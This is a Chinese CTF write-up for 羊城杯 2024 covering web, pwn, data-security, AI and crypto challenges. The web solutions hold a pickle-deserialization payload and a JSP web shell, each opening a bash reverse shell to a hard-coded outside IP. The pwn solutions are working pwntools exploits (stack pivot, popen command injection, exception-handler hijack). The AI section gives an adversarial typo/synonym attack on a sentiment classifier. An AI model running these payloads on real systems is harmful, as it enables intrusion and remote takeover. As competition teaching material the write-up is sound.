羊城杯2024WP

羊城杯-2024

web

web2

进题信息搜集一下,dirsearch发现了login路由可访问,先随便点一下,发现了一个文件读取:

http://139.155.126.78:30148/lyrics?lyrics=Rain.txt

我尝试了一下:

http://139.155.126.78:30148/lyrics?lyrics=../../../../../../../../etc/passwd

发现可以读取:

本以为是任意文件读取,但是没有这么简单。
所以先尝试一下读取源码,用那个/static/style.css进行尝试:


发现读取文件的目录是在/var/www/html/XXX/这个目录下的,那么尝试一下读取app.py:


找到源码了。那么接下来就好办了,源码附上:

import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
    def __init__(self, username):
        self.username = username


def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid


@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res


@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)

放到pycharm里面,发现了两个不存在的库,那么只能是调用当前文件夹里面的.py结尾文件,一个是cookie,一个是config.secret_key。

而python里的调用时用.代替文件夹的,所以要找的是../cookie.py../config/secret_key.py

第一个是cookie的加密方式,第二个是cookie的一个签名密钥。

然后可以看到board里面是用到了pickle.loads,并且wafs里面有一个R字。说明打pickle反序列化的非R方向就行了。

想法:
直接用非R方向pickle序列化脚本来打,然后用cookie的加密方法和密钥进行签名,拿去board里面改cookie直接反弹shell就能出了。

先去把cookie.py读取:


源码:

import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

这里面需要用到的就是cookie的加密过程,就是cookie_encode这个函数。

然后我们去读一下secret_key:


然后直接把脚本其他东西删了,用它的secret_code和cookie_encrypt进行加密就可以了,脚本附上:

import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

from flask import Flask, make_response

app = Flask(__name__)

unicode = str
basestring = str  # Quoted from python bottle template, thanks :D


def cookie_encode(data, key):
    msg = base64.b64encode(data)
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg

def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid
def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)

if __name__ == "__main__":
    res=b'''(S'bash -c 'sh -i >& /dev/tcp/101.37.149.223/2333 0>&1''\nios\nsystem\n.'''
    secret_code = "EnjoyThePlayTime123456"
    cookie_value = cookie_encode(res, key=secret_code)
    print(cookie_value)

运行获得:

然后我们复制到/board路由的cookie里面,并且服务器监听2333端口,直接弹上shell了:


根目录下的readflag直接执行,获得flag。

web3

进入之后访问/myapp。然后去访问/read进行文件的读取,网上找到一个文章:

https://www.cnblogs.com/Junglezt/p/18122284

可以发现tomcat许多的/conf/tomcat-users.xml是不会修改的,那么password就在里面。

然后找到之后,进入login进行登录:
登录之后发现可以进行upload的操作,然后这里发现了一个点:


如果输入了web.xml,就一定会被ban掉,而文件上传是没有任何过滤的。

既然只能用xml这样的配置文件,那么能不能把配置文件改了,然后直接将xml识别为jsp的一个xml的配置文件,并传入1.xml就可以了:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/1.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/exec</url-pattern>
    </servlet-mapping>
</web-app>

然后我们尝试传入1.xml,看看能不能识别为jsp文件,传入的是一句话木马:

<%
    out.println("Hello");
    Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

读取用绝对路径读取,然后绝对路径在那个/env路由里面有。并且可以问chat得到。然后发现访问成功之后,我们去访问配置文件定义的/exec路由,并传入cmd参数,随便传一个,看看能不能回显hello就可以了:


可以看到成功回显,说明jsp木马传入,我们直接用jsp反弹shell来打:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzcuMTQ5LjIyMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}

其中base64加密内容为:

bash -i >& /dev/tcp/101.37.149.223/2333 0>&1

然后我们监听2333端口,看看能不能弹shell:


成功弹上了。然后就得到了flag。

数据安全

数据安全1

给了个这样的person_data,看示例和题目可知,需要把8项正确排序,没什么好说的,一个表格的直接读取一点一点if过去就好了,(脚本写的很普通)脚本附上:

import csv


def classify_data(data,k):
    if not isinstance(data, str):
        return None
    if data.isdigit() and 1 <= int(data) <= 10000:
        return 0
    if data in ['男', '女']:
        return 4
    if ord(data[0]) in range(0x4e00, 0x9fff) or ord(data[0]) in range(0x3400, 0x4dbf) or ord(data[0]) in range(0x20000, 0x2a6df) or False:  # 如果没有其他条件了,这里用False,但实际上是多余的
        return 3
    if len(data) == 32:
        return 2
    if data.isdigit() and len(data) == 8:
        return 5

    if data[6:14] in k:
        return 6
    prefixes = ('734', '735', '736', '737', '738', '739', '747', '748', '750', '751', '752', '757', '758', '759', '772','778', '782', '783', '784', '787', '788', '795', '798', '730', '731', '732', '740', '745', '746', '755','756', '766', '767', '771', '775', '776', '785', '786', '796', '733', '749', '753', '773', '774', '777','780', '781', '789', '790', '791', '793', '799')
    if data.startswith(prefixes):
        return 7

    else:
        return 1

# 假设CSV文件的路径是'data.csv'
csv_file_path = 'person_data.csv'
new=[]
rows=[]
# 打开CSV文件
with open(csv_file_path, mode='r', encoding='utf-8') as file:
    # 创建一个csv.reader对象来读取文件
    csv_reader = csv.reader(file)
    # 遍历CSV文件的每一行
    for row_number, row in enumerate(csv_reader, start=1):
        if row==['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码']:
            rows.append(row)
            continue
        new = [0, 0, 0, 0, 0, 0, 0, 0]
        for i in row:
            new[classify_data(i,row)]=i
        rows.append(new)
with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:
    csv_writer = csv.writer(file)
    csv_writer.writerows(rows)

这些电话号码检测在题目示例里面给了。然后直接写入新的csv文件,然后直接提交就行了。

数据安全2

(这题成功拿下100.00%的相同率)

先用自带的tshark和python的pyshark模块进行wireshark文件的内容的读取。

之前尝试了一下用wireshark自带的HTTP包导出,只能导出500条数据,总共有8000条数据,所以只能用python来跑。

这里直接附上脚本,这个获取大括号里面的内容就是所有需要的信息:username啥的:

import pyshark
import json

cap = pyshark.FileCapture(input_file='data.pcapng', tshark_path='D:\\Wireshark\\tshark.exe',use_json=True,include_raw=True)
file_path = 'data.pcapng'
json_data_list = []

for packet in cap:
    print(packet)
    try:
        raw_packet = packet.get_raw_packet()
        json_start = raw_packet.index(b'{"')  # 查找 JSON 数据的起始位置
        json_data = raw_packet[json_start:]  # 提取 JSON 数据
        print(json_data)  # 调试输出 JSON 数据
        json_data_list.append(json_data.decode('utf-8'))  # 存储 JSON 数据到列表中
    except Exception as e:
        print(f"异常: {e}")

# 将提取的 JSON 数据保存到 JSON 文件中
with open('data.json', 'w', encoding='utf-8') as f:
    json.dump(json_data_list, f, ensure_ascii=False, indent=4)

然后我们直接拿到了data.json文件。这里面有8000条数据,都是需要的,然后我们就用判断直接判断错误的内容。

这里又是附上屎山代码:

import csv
import json

xishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]

def check(data):
    for i in dot:
        if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4] or i in data[5]:
            return 0
    for i in data[1]:
        if i in digit or i in alpha:
            return 0
    if data[2]!="男" and data[2]!="女":
        return 0
    if data[3] not in data[4]:
        return 0
    if (data[2]=="男" and int(data[4][-2])%2==0) or (data[2]=="女" and int(data[4][-2])%2==1):
        return 0
    sum=0
    for i in range(len(data[4])-1):
        sum += (int(data[4][i])*xishu[i])
    if jiaoyan[sum%11]!=data[4][-1]:
        return 0
    if int(data[5][:3]) not in phone:
        return 0
    return 1

# 读取 JSON 文件
with open('data.json', 'r', encoding='utf-8') as f:
    data_list = json.load(f)

# 处理数据
new_data = []
for item in data_list:
    # 将字典转换为列表
    item=json.loads(item)
    data = [item.get('username', ''), item.get('name', ''), item.get('sex', ''), item.get('birth', ''), item.get('idcard', ''), item.get('phone', '')]
    print(data)  # 打印数据以检查转换结果
    if len(data) == 6:
        if not check(data):
            new_data.append(data)

# 将结果写入 CSV 文件
with open('person_data2.csv', mode='w', newline='', encoding='utf-8') as file:
    csv_writer = csv.writer(file)
    # 写入 CSV 文件的表头
    csv_writer.writerow(['username', 'name', 'sex', 'birth', 'idcard', 'phone'])
    # 写入数据
    csv_writer.writerows(new_data)

print("检查结果已保存到 'person_data2.csv' 文件中。")

前面那些东西都是题目给的,然后这么跑出来之后,获取了一个person_data2.csv文件。然后直接提交,这里也是拿下了100%的相同率。

数据安全3

给的附件是几个log,就是几个日志文件。其中我们需要做的就是把error.log的文件中的相关数据提取出来。

这里有一个细节:

在输入了所有内容信息之后,还会有一个判断,说是用户名不存在或者是输入密码:。如果有密码我们就要把密码拿下来,然后再切片、截取到题目所需要的位置,如果没有就正常删除,这里又写了一个屎山代码,直接附上了:

import csv
import urllib.parse
import hashlib

xishu=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
jiaoyan=["1","0","X","9","8","7","6","5","4","3","2"]
alpha="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
digit="0123456789"
dot=[' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
phone=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,780, 781, 789, 790, 791, 793, 799]

def md5_encrypt(input_string):
    # 创建一个md5 hash对象
    md5_hash = hashlib.md5()

    # 更新hash对象以字符串值(需要先编码为字节串)
    md5_hash.update(input_string.encode('utf-8'))

    # 获取十六进制数格式的hash值,并转换为小写
    return md5_hash.hexdigest()
def check(data):
    for i in dot:
        if i in data[0] or i in data[1] or i in data[2] or i in data[3] or i in data[4]:
            return 0
    for i in data[2]:
        if i in digit or i in alpha:
            return 0
    sum=0
    for i in range(len(data[3])-1):
        sum += (int(data[3][i])*xishu[i])
    if jiaoyan[sum%11]!=data[3][-1]:
        return 0
    if int(data[4][:3]) not in phone:
        return 0
    return 1

def read_log_until_next_bracket(filepath):
    new=[['username','password','name','idcard','phone']]
    """
    读取指定的日志文件,在遇到包含'username'的行时,继续读取直到遇到下一个'['符号或文件结束。
    """
    try:
        with open(filepath, 'r', encoding='utf-8') as file:
            current_block = ""  # 用于存储从'username'开始到'['之前的所有内容
            reading = False  # 标记是否开始读取块

            for line in file:
                if "username" in line:
                    # 如果当前行包含'username',则开始读取块
                    reading = True
                    current_block += line  # 添加当前行到块中
                elif "\\xe6\\x82\\xa8\\xe8\\xbe\\x93\\xe5\\x85\\xa5\\xe7\\x9a\\x84\\xe7\\x94" in line:
                    current_block = ""
                    reading = False
                elif reading:
                    # 如果已经开始读取块,则继续添加行到块中
                    if "\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba" in line:
                        # 如果当前行包含'[',则停止读取块并打印
                        # 注意:这里只打印到'['之前的部分(如果需要)
                        # 或者你可以选择保留整个块直到'['
                        idx = line.find("\\xe5\\xaf\\x86\\xe7\\xa0\\x81\\xe4\\xb8\\xba")
                        if idx != -1:  # 确保'['确实存在
                            current_block += line
                            tmp=(current_block.strip()[143:])  # 打印并去除首尾空白
                            edx = line
                            tmp=(tmp.split('&'))
                            tmp[3]=(tmp[3].split('\n'))
                            tmp.append(tmp[3])
                            tmp[3]=tmp[4][0]
                            tmp[4]=tmp[4][-1][-30:][:-2]
                            tmp[4]=tmp[4].split(": ")[1]
                            tmp.append(tmp[4])
                            tmp[4]=tmp[3]
                            tmp[3]=tmp[2]
                            tmp[2]=tmp[1]
                            tmp[1]=tmp[5]
                            tmp.pop()
                            tmp[0]=urllib.parse.unquote(tmp[0][9:])
                            tmp[2] = urllib.parse.unquote(tmp[2][5:])
                            tmp[3] = urllib.parse.unquote(tmp[3][7:])
                            tmp[4] = urllib.parse.unquote(tmp[4][6:])
                            if not check(tmp):
                                current_block = ""
                                tmp=[]
                                reading = False
                                continue
                            if len(tmp[0])==1:
                                pass
                            elif len(tmp[0])==2:
                                tmp[0]=tmp[0][0]+"*"
                            else:
                                tmp[0]=tmp[0][0]+(len(tmp[0])-2)*"*"+tmp[0][-1]

                            tmp[1]=md5_encrypt(tmp[1])

                            if len(tmp[2])==2:
                                tmp[2]=tmp[2][0]+"*"
                            else:
                                tmp[2]=tmp[2][0] + (len(tmp[2])-2)*"*"+tmp[2][-1]
                            tmp[3]="******"+tmp[3][6:10]+"********"
                            tmp[4]=tmp[4][:3]+"****"+tmp[4][-4:]
                            new.append(tmp)
                            current_block = ""  # 重置块
                            reading = False  # 停止读取
                    else:
                        current_block += line  # 否则,继续添加整行到块中
            print(new)
            with open("person_data2.csv", mode='w', newline='', encoding='utf-8') as file:
                csv_writer = csv.writer(file)
                csv_writer.writerows(new)


    except FileNotFoundError:
        print(f"文件 {filepath} 未找到。")

    # 调用函数,传入日志文件路径


read_log_until_next_bracket('error.log')

写了点注释,大体意思就是将他们都用正常的方式排序完之后,用题目给的pdf的判断方法进行判断,从而将他们变成题目所需的样子,然后再导出到一个新的表格中直接提交就行了。

AI

AI 1

AI这个第一题是一个非常常见的一个AI,就是用不同构造的字符串或者语句,让AI回显出现紊乱。

那么这里有一些方法:

修改注入语句,但是这样就会导致重复率低于75%,所以不可取。

直接用chat进行语句的修改,并且尝试多次注入,这样用更智能的ai来绕过ai也是可行的。不过这个方法不仅麻烦,而且成功率如果想要到达90%需要大量的时间成本。

我用的是最后一种方法,也是比较流行的一个方法,就是错别字注入,或者说是故意改错一些进行绕过。或者使用同义字进行绕过。

题目的另一个附件是这个文件夹,将此文件夹和写出的py文件和题目附件放在一个位置。

这里脚本让GPT写了又改,最后差不多是这样:

import pandas as pd
import nltk
from nltk.corpus import wordnet
from transformers import AutoTokenizer, AutoModelForSequenceClassification
import torch
from sklearn.metrics.pairwise import cosine_similarity

# 设置设备(CPU 或 GPU)
device_type = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"当前使用的设备: {device_type}")

# 加载预训练模型和tokenizer
text_tokenizer = AutoTokenizer.from_pretrained("Sentiment_classification_model")
classification_model = AutoModelForSequenceClassification.from_pretrained(
    "Sentiment_classification_model"
).to(device_type)


def get_related_words(word):
    """生成单词的同义词列表"""
    related_words = set()
    for synset in wordnet.synsets(word):
        for lemma in synset.lemmas():
            related_words.add(lemma.name().replace("_", " "))
    return list(related_words)


def make_typo(word):
    """在单词中引入拼写错误"""
    if len(word) > 3:
        index = 1
        word = word[:index] + word[index + 1] + word[index] + word[index + 2:]
    return word


def modify_text(input_text):
    """对文本进行词汇替换和拼写错误引入"""
    token_list = nltk.word_tokenize(input_text)
    pos_tags = nltk.pos_tag(token_list)
    modified_texts = []

    for idx, (token, tag) in enumerate(pos_tags):
        if tag.startswith("NN") or tag.startswith("JJ") or tag.startswith("RB"):
            related_words = get_related_words(token)
            for synonym in related_words:
                temp_tokens = token_list[:idx] + [synonym] + token_list[idx + 1:]
                modified_texts.append(" ".join(temp_tokens))

            typo_variant = make_typo(token)
            typo_tokens = token_list[:idx] + [typo_variant] + token_list[idx + 1:]
            modified_texts.append(" ".join(typo_tokens))

    return modified_texts


def calculate_similarity(sentence1, sentence2, model, tokenizer):
    """计算两个文本之间的余弦相似度"""
    model.eval()

    encoded_text1 = tokenizer(
        sentence1, return_tensors="pt", padding=True, truncation=True, max_length=512
    ).to(device_type)
    encoded_text2 = tokenizer(
        sentence2, return_tensors="pt", padding=True, truncation=True, max_length=512
    ).to(device_type)

    with torch.no_grad():
        outputs_text1 = model(**encoded_text1)
        hidden_state1 = outputs_text1.logits.mean(dim=1)

        outputs_text2 = model(**encoded_text2)
        hidden_state2 = outputs_text2.logits.mean(dim=1)

    sim_score = cosine_similarity(
        hidden_state1.cpu().numpy(), hidden_state2.cpu().numpy()
    )[0][0]

    return sim_score


def generate_adversarial_text(
    source_text, true_label, model, tokenizer, sim_threshold=0.75, attempts=5
):
    """生成具有攻击性的文本"""
    current_text = source_text
    for _ in range(attempts):
        candidate_texts = modify_text(current_text)

        if not candidate_texts:
            return current_text

        for candidate in candidate_texts:
            sim_score = calculate_similarity(source_text, candidate, model, tokenizer)

            if sim_score >= sim_threshold:
                input_data = tokenizer(candidate, return_tensors="pt").to(device_type)
                output_prediction = model(**input_data)[0]
                pred_label = torch.argmax(output_prediction, dim=1).item()

                if pred_label != true_label:
                    return candidate

        current_text = candidate_texts[0]

    return current_text


# 读取CSV文件
data = pd.read_csv("original_text.csv")

# 保存结果
results_data = []

# 生成对抗性文本
for i, row in data.iterrows():
    original_sentence = row["text"]
    actual_label = row["original_label"]
    adversarial_sentence = generate_adversarial_text(
        original_sentence,
        actual_label,
        classification_model,
        text_tokenizer,
        sim_threshold=0.75,
        attempts=5,
    )

    results_data.append({"id": row["id"], "attacked_text": adversarial_sentence})

# 将结果转换为DataFrame
result_df = pd.DataFrame(results_data)

# 保存为CSV文件
result_df.to_csv("attacked_text.csv", index=False)

# 输出部分结果,验证输出格式
print(result_df.head())

然后跑出来的东西拿去交,发现通过率高达87%:

感受到来自出题人的温暖,说好90%。结果87%的时候flag就被爆出来了。

pwn

pstack

标准的栈迁移,利用read完成三次栈迁移就可以,唯一要注意的就是bss段的地址,不要取开头,这样泄露libc的时候会卡死不动

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn')
libc=ELF('libc.so.6')
#io=process('./pwn')
io=remote('139.155.126.78',31425)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi=0x400773
read=0x4006C4
leave=0x4006DB
bss=0x601500
vuln=0x4006B0
rbp=0x4005b0
ret=0x400506
io.recv()
#gdb.attach(io,'b main')
payload=b'a'*0x30+p64(bss+0x30)+p64(read)
io.send(payload)
payload=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(rbp)+p64(bss+0x300+0x30)+p64(read)+p64(bss-8)+p64(leave)
io.send(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym["puts"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload=b'a'*8+p64(rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)+p64(0)+p64(bss+0x300)+p64(leave)
io.sendline(payload)
io.interactive()

httpd

程序会先跳到/home/ctf/html的路径下

我们的haystack是自己输入的,这里的popen函数就比较危险,可以执行haystack中指定的命令

所以思路就很明确,因为flag在根目录,所以我们先利用上面的漏洞,把flag复制到/home/ctf/html下,然后第二次直接读就行

from pwn import *
io = remote('139.155.126.78',32514)
payload=b'get /cp%20/flag%20/home/ctf/html HTTP/1.0'
io.sendline(payload)
io.sendline('Host: '+'127.0.0.1')
io.sendline('Content-Length: '+ '80')
io.close()
io = remote('139.155.126.78',32514)
haystack='/flag'
payload=b'get /flag HTTP/1.0'
io.sendline(payload)
io.sendline('Host: '+'127.0.0.1')
io.sendline('Content-Length: '+ '80')
io.interactive()


logger

不说了,我就是天才,现场学了一下异常处理

1号里面有一个数组溢出,可以修改到src

重点其实在第二个选项

这个异常处理没有catch,而且题目没有pop rbp ret,所以没办法打orw,但是注意到,其实是有system函数的,而且题目有三个异常捕捉,除了这个都是有catch的,而且就在这里,调用了system函数

我们只需要把返回地址改成这个catch,scr段会被当成system的参数,通过1把src改掉就行(前面不能随意填充垃圾数据,比如都是a,得放一堆地址,不然最后的参数里面也有一堆a)

from pwn import *
#io=process('./pwn')
io=remote('139.155.126.78',38895)
#gdb.attach(io,'b *0x4018E0')
def trace(content):
    io.recvuntil(b'Your chocie:')
    io.sendline(str(1))
    io.recvuntil(b'You can record log details here:')
    io.sendline(content)
    io.recvuntil(b'Do you need to check the records?')
    io.sendline(b'N')

def warn(content):
    io.recvuntil(b'Your chocie:')
    io.sendline(str(2))
    io.recvuntil(b'[!] Type your message here plz')
    io.send(content)

leave=0x4015a9
ret=0x40101a
bss=0x404420
src=0x4040A0
input=0x404020
catch=0x401BC7
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'/bin/sh\x00')
trace(b'a'*0x10)
trace(b'/bin/sh\x00')
io.recv()
warn(p64(bss-8)*15+p64(catch))
#warn(p64(bss-8)*15+p64(catch))
io.interactive()

拿下!

Crypto

一、 TheoremPlus

在威尔逊定理中,当e为素数时,结果为-1,当e不为素数时,结果0,除了4和2。在求解一个素数下有多少个小素数时,可以使用埃氏筛法。

import gmpy2
import libnum

n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566

'''x = gmpy2.iroot(n,2)[0]
while n%x !=0 :
    x -= 1
p = x
q = n//p
print(q)
print(p)'''

def decode_e(e):
    if e > 1:
        mul = 1
        for i in range(1, e):
            mul *= i
        if e - mul % e - 1 == 0:
            mulmod = mul % e - e
        else:
            mulmod = mul % e
        return mulmod + decode_e(e - 1)
    else:
        return 0

q = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557219
p = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557429
e = 36421874 - 1  #去掉703440151,1

phi_n = (p-1)*(q-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(libnum.n2s(int(m)))

'''
def couPrime(N):
    primeList = [True]*N
    for i in range(2,N):
        if(primeList[i]):
            for j in range(2*i,N,i):
                primeList[j]=False
    cou = primeList.count(True)-2
    return cou
print(couPrime(703440151))
#36421874
'''
#DASCTF{Ot2N63D_n8L6kJt_f40V61m_zS1O8L7}

二、TH_Curve

首先利用已知的点求出参数d,将Twisted Hessian curves转化为weierstrass曲线,即写出参数a0,a1,a2,a3,a4,a6,并且将已知点也转化。利用Pohlig-Hellman算法计算离散对数。

import gmpy2
import libnum

p = 10297529403524403127640670200603184608844065065952536889
x1 = 8879931045098533901543131944615620692971716807984752065
y1 = 4106024239449946134453673742202491320614591684229547464
d = (2*x1**3+y1**3+1)*gmpy2.invert(x1*y1,p) % p
a = 2

x2 = 6784278627340957151283066249316785477882888190582875173
y2 = 6078603759966354224428976716568980670702790051879661797


a0 = 1
a1 = - 3 *(d/3) / (a - (d/3) *(d/3) *(d/3))
a3 = - 9 / ((a - (d/3)* (d/3) *(d/3)) *(a - (d/3) *(d/3)* (d/3)))
a2 = - 9 *(d/3) *(d/3) / ((a - (d/3) *(d/3) *(d/3)) * (a - (d/3)* (d/3)* (d/3)))
a4 = - 27 *(d/3) / ((a - (d/3)* (d/3)* (d/3))* (a - (d/3) *(d/3) *(d/3)) *(a - (d/3)* (d/3)* (d/3)))
a6 = - 27 / ((a - (d/3) *(d/3)* (d/3)) *(a - (d/3) *(d/3) *(d/3))* (a - (d/3) *(d/3)* (d/3)) *(a - (d/3)* (d/3)* (d/3)))

#print(d)
#print(a0,a1,a2,a4,a6)

E = EllipticCurve(GF(p), [a1, a2, a3, a4, a6])

#u = (-3 / (a - d* d *d/27)) *x / (d *x/3 - (-y) + 1)
#v = (-9 / ((a - d *d *d/27) *(a - d* d *d/27))) (-y) / (d* x/3 - (-y) + 1)

gx =(-3 / (a - d* d *d/27)) *x1 / (d *x1/3 - (-y1) + 1)
gy =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y1) / (d* x1/3 - (-y1) + 1)
px =(-3 / (a - d* d *d/27)) *x2 / (d *x2/3 - (-y2) + 1)
py =(-9 / ((a - d *d *d/27) *(a - d* d *d/27))) *(-y2) / (d* x2/3 - (-y2) + 1)

G = E(gx,gy)
Q = E(px,py)

P,Q = G,Q
factors, exponents = zip(*factor(E.order()))
print(factors, exponents)
primes = [factors[i] ^ exponents[i] for i in range(len(factors))][3:-1]
print(primes)
dlogs = []
for fac in primes:
    t = int(int(P.order()) // int(fac))
    dlog = discrete_log(t*Q,t*P,operation="+")
    dlogs += [dlog]
    print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates discrete logarithm for each prime order

l = crt(dlogs,primes)
